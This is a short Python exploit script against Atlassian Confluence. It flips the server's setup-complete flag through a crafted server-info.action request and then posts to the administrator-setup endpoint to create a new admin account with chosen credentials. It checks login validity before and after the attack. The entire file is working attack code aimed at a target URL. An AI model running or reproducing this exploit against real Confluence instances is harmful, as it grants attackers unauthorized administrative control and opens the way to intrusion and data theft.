exploit.py

import requests


header = {
    "X-Atlassian-Token": "no-check"
}


def are_credentials_valid(url: str, username: str, password: str) -> bool:
    res = requests.get(url=f"{url}/rest/api/user?username={username}", auth=(username, password))
    if res.status_code == 200:
        print(f"[+] Credentials are valid for user '{username}'")
        return True
    else:
        print(f"[-] Status-Code: {res.status_code} for user '{username}'")
        return False


def vulnerability(url: str) -> bool:
    # Confluence is in 'Setup Successful' mode, which is usually only available after installation
    res = requests.get(url=f"{url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
    if res.status_code == 200:
        print("[+] vulnerability activated")
        return True
    else:
        print(f"[-] Status-Code: {res.status_code}")
        return False


def create_admin(url: str, username: str, password: str) -> bool:
    data = {
        "username": username,
        "fullName": username,
        "email": f"{username}@AIex-3",
        "password": password,
        "confirm": password,
        "setup-next-button": "Next"
    }
    res = requests.post(url=f"{url}/setup/setupadministrator.action", data=data, headers=header)
    if res.status_code == 200:
        print("[+] Admin account successfully created")
        return True
    else:
        print(f"[-] Status-Code: {res.status_code}")
        return False


_url = "http://localhost:8080"
# username must be lowercase
_username = "hack"
_password = "psw"


are_credentials_valid(url=_url, username=_username, password=_password)
vulnerability(url=_url)
create_admin(url=_url, username=_username, password=_password)
are_credentials_valid(url=_url, username=_username, password=_password)